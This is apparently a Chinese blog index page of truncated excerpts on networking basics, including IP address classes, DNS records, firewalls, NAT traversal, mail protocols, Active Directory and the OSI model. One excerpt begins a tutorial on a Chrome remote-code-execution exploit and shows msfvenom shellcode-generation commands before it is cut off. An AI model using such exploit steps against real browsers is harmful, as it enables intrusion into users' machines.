thlzjfefe的博客

首先我们对IP地址来进行一个基本的简介，对于IP地址来说，它由两部分构成，一是网络号，还有一个是主机号，网络号代表的是因特网上的某一种网络，而主机号代表的无疑就是因特网中的某一台主机了。现在我们再来说说C类的IP地址，对于这类IP地址来说，它的前三个字节都被归属在网络号中，只有最后一个字节代表的才是主机号，它的数字最前列以“110”打头，网络号取值在192-223这两个数字之间，依次类推，它被广泛地应用于小型的网络。IP地址根据网络ID的不同分为5种类型，A类地址、B类地址、C类地址、D类地址和E类地址。

适用版本：漏洞危害：远程代码执行影响版本：Chrome 89.0.4389.114以下（含89.0.4389.114）测试版本： 86.0.4240.198教程内容：一、利用kali生成shellcode代码比如说我要弹出计算器，那么：64位操作系统：msfvenom -a x64 -p windows/x64/exec CMD="calc" EXITFUNC=thread -f num32位操作系统：msfvenom -a x86 -p windows/exec CMD="ca

1、A (Address) 记录是用来指定主机名（或域名）对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置您域名的二级域名。2、别名(CNAME)记录也被称为规范名字。这种记录允许您将多个名字映射到同一台计算机。 通常用于同时提供WWW和MAIL服务的计算机。例如，有一台计算机名为“host.mydomain.com”（A记录）。 它同时提供WWW和MAIL服务，为了便于用户访问服务。可以为该计算机设置两个别名（CNAME）：WWW和M

前言今天，给大家讲讲那么什么是防火墙呢？为什么需要防火墙呢？防火墙和路由器、交换机有什么区别呢？为什么需要防火墙如下图所示，内部网络和外部网络互访时，内部网络可能存在一些安全隐患，可能被攻击。这个时候就需要在内部网络和外部网络之间有一个设备能够保护内网。那么这个设备就是防火墙。防火墙能够实现如下业务述求；（1）外部网络安全隔离；（2）内部网络安全管控；（3）内容安全过滤；（4）

这篇文章会尽量以通俗易懂的方式描述iptables的相关概念，请耐心的读完它。防火墙相关概念此处先描述一些相关概念。从逻辑上讲。防火墙可以大体分为主机防火墙和网络防火墙。主机防火墙：针对于单个主机进行防护。网络防火墙：往往处于网络入口或边缘，针对于网络入口进行防护，服务于防火墙背后的本地局域网。网络防火墙和主机防火墙并不冲突，可以理解为，网络防火墙主外（集体）， 主机防火墙主内（个人）。从物理上讲，防火墙可以分为硬件防火墙和软件防火墙。硬件防火墙：在硬件级...

文章目录一、通过Fiddler（windows）抓的http请求配置1. 什么是Fidder2. Fidder使用场景3. Fidder下载安装4. Fidder配置fidder APP抓包时的手机设置第一步：手机设置代理第二步：手机fiddler证书安装Android7及以上HTTPS抓包(信任用户证书(CA)转成系统证书)Android10导入系统证书的方法二、Fidder常用使用技巧1. 根据ip 过滤请求2. fidder请求导出2.1 导出curl2.2 导出为其他格

文章目录一、什么是appid、appkey、appsecret二、云服务AppId或AppKey和AppSecret生成策略三、API接口开发安全性四、基于AccessToken方式实现API设计五、常见问题总结做API接口，为什么access_token要放在Header头里传递？六、参考一、什么是appid、appkey、appsecretAppID：应用的唯一标识AppKey：公匙（相当于账号）AppSecret：私匙（相当于密码）token：令牌（过期失效）app_id 是

为什么网上讲到的P2P打洞基本上都是基于UDP协议的打洞？难道TCP不可能打洞？还是TCP打洞难于实现？ 假设现在有内网客户端A和内网客户端B，有公网服务端S。 如果A和B想要进行UDP通信，则必须穿透双方的NAT路由。假设为NAT-A和NAT-B。 A发送数据包到公网S,B发送数据包到公网S,则S分别得到了A和B的公网IP，S也和A B 分别建立了会话，由S发到NAT-A的数据包会被NAT-A直接转发给A，由S发到NAT-B的数据包会被NAT-B直接转发给B，除了S发...

QQ是一个基于TCP/UDP协议的通讯软件发送消息的时候是UDP打洞,登陆的时候使用HTTP~因为登陆服务器其实就是一个HTTP服务器,只不过不是常用的那些,那个服务器是腾讯自行开发的！！！一、登录QQ客户端在局域网内，当你打开QQ登录到QQ服务器时，通过外网，你的客户端与QQ服务器建立了一个长连接。你可以用netstat -bn 看到此连接的状态是 establish此时，在QQ服务器那面看到的连接的IP是你们局域网对外的IP。举个例子：QQ服务器 IP：121.115....

一、什么是MX记录MX（Mail Exchanger）记录是邮件交换记录，它指向一个邮件服务器，用于电子邮件系统发邮件时根据 收信人的地址后缀来定位邮件服务器。例如，当Internet上的某用户要发一封信给 user@mydomain.com 时，该用户的邮件系统通过DNS查找mydomain.com这个域名的MX记录，如果MX记录存在， 用户计算机就将邮件发送到MX记录所指定的邮件服务器上。如果域名没有做MX记录，将无法收到邮件。通俗点来说MX记录就是告诉用户我的服务器IP地址信息。MX记录可

摘要：可能大家都听说过交换机，但却从未见过交换机，那么，交换机是什么？其工作原理又是怎样的？它又有什么功能与作用呢？今天我们就来聊聊交换机。可能大家都听说过交换机，但却从未见过交换机，那么，交换机是什么？其工作原理又是怎样的？它又有什么功能与作用呢？今天我们就来聊聊交换机。一、什么是交换机？交换机是一种用于电(光)信号转发的网络设备。它可以为接入交换机的任意两个网络节点提供独享的电信号通路。最常见的交换机是以太网交换机。交换机工作于OSI参考模型的第二层，即数据链路层。交换机拥有一条高带宽.

简单地说，SMTP管‘发’，POP3/IMAP管‘收’。举个例子，你坐在电脑边用mail client写完邮件，点击‘发送’。这时你的mail client会发消息给邮件服务器上的SMTP service。这时有两种情况：1.如果邮件的收信人也是处于同一个domain，比如从http://163.com发送给163的邮箱，SMTP service只需要转给local的POP3 Service即可2.如果邮件收信人是另外的domain，比如http://163.com发送给http://si...

POP3POP3是Post Office Protocol 3的简称，即邮局协议的第3个版本,它规定怎样将个人计算机连接到Internet的邮件服务器和下载电子邮件的电子协议。它是因特网电子邮件的第一个离线协议标准,POP3允许用户从服务器上把邮件存储到本地主机（即自己的计算机）上,同时删除保存在邮件服务器上的邮件，而POP3服务器则是遵循POP3协议的接收邮件服务器，用来接收电子邮件的。(与IMAP有什么区别？)SMTPSMTP的全称是“Simple Mail Transfer Protoc.

一、说明直接的原因是昨晚《计算机网络（自顶向下方法）》到货了，以为能讲得有些不一样，但看完整本也就是老调地讲过来讲应用层、传输层、网络层、网络接口层。感觉比之谢希仁的《计算机网络》还有不如。看了很多关于网络模型的文章，总感觉部是在讲原理原理也讲得挺明白，但个人觉得就是看完后不能让读者明白这个东西在编程上是什么、在编程上要怎么实现。二、各网络模型定义2.1 定义ISO/OSI七层网络参考模型：应用层 表示层 会话层 传输层 网络层 数据链路层 物理层

AD active Direcotry域控制器是指在“域”模式下，至少有一台服务器负责每一台联入网络的电脑和用户的验证工作，相当于一个单位的门卫一样，称为“域控制器（Domain Controller，简写为DC）”。将多台网络中的计算机逻辑上组织到一起，对这些计算机进行集中式管理，这些多台计算机组成的逻辑环境叫作域环境。与传统的工作组环境相比，工作组环境属于分散式管理，只适合少数计算机的管理。随着公司应用需求增多、客户机数量增多，必然会增加网络管理的工作量和管理的复杂性，从而导致IT投入成本的增加

域的简单介绍为什么要使用域？假设你是公司的系统管理员，你们公司有一千台电脑。如果你要为每台电脑设置登录帐户，设置权限(比如是否允许登录帐户安装软件)，那你要分别坐在这一千台电脑前工作。如果你要做一些改变，你也要分别在这一千台电脑上修改。相信没有哪个管理员想要用这种不吃不喝不睡觉的方式来工作，所以就应运而生了域的概念。下面列出了域的几个主要概念：AD的全称是Active Directory：活动目录域（Domain）:1)域是Windows网络中独立运行的单位，域之间相互访问则需要建立信任关系(即

AD域可用于同时管理多台电脑，这样实现集中式管理，可以很大程度减少管理员的工作量。比如曾经我们需要在无数客户端上进行多次的设置，在AD域控制器上只需要设置一次就能完成。　　AD域中的“AD”其实就是Active Directory活动目录的简写，活动目录所提供的功能有资源管理、桌面配置、用户服务、服务器鸡客户端计算机管理等等。　　基于AD的域模式可以帮助我们实现集中式管理，比如曾经我们需要在无数客户端上进行多次的设置，只需要在AD域控制器上设置一次就能完成，它可以很大程度减少管理员的工作量。

越来越多人开始接触Linux操作系统，从VPS到无线路由的刷机系统(如OpenWRT、Tomato)，同时也必不可少地会在各式各样的探针和系统监测界面上看到”系统平均负载”或者”Load Average”这样的字眼，但是它并不像我们习惯中Windows、Mac操作系统提供百分比显示CPU、内存占用率，而是以几个用空格隔开的浮点数来表示系统平均负载，那么它们到底是什么意思呢？又如何衡量系统负载及系统的稳定性呢？系统平均负载-基本解释在Linux shell下，有很多命令可以看到Load Average，例

比如我想查看 一个IP地址的域名的话：可以用nslookup这个命令(117)yyang@milse05#nslookup ip_address参考：http://roclinux.cn/?p=2441【nslookup何许人？】nslookup命令，是Linux里非常常用的网络命令，简而言之就是“查DNS信息用的”。通过man nslookup可以看到对于nslookup的官方解...

DDoS攻击相信大家多多少少都听过一点，网络上各种D阔、C阔，天天打这个打那个，到处接单，说自己能打多少流量，打死了就发群上问别人，死了没，死了没???那么DDoS攻击的原理到底是什么呢？DDoS全称:分布式拒绝服务(DDoS:Distributed Denial of Service)。信息安全的三要素——“保密性”、“完整性”和“可用性”中，拒绝服务攻击，针对的目标正是“可用性”。该攻击方...

如果你不是做IT行业，估计对这个CNAME会比较陌生，先不说定义，先给你个场景。当你上网时，在地址栏输入：www.baidu.com 的时候，你知道弹出的那个百度首页是从哪里来的吗？对，是从网站服务器调取过来的，这个过程是通过域名解析获得IP地址后，然后向网站服务器发送请求，网站服务器做出响应，最后再将这个网页发送到你的浏览器。再详细一点的描述是，每个域名（www.baidu.com）...

原文连接：https://www.cnblogs.com/qishui/p/5428938.html一、OSI参考模型 今天我们先学习一下以太网最基本也是重要的知识——OSI参考模型。1、OSI的来源 OSI（Open System Interconnect），即开放式系统互联。 一般都叫OSI参考模型，是ISO（国际标准化组织）组织在1985年研究的...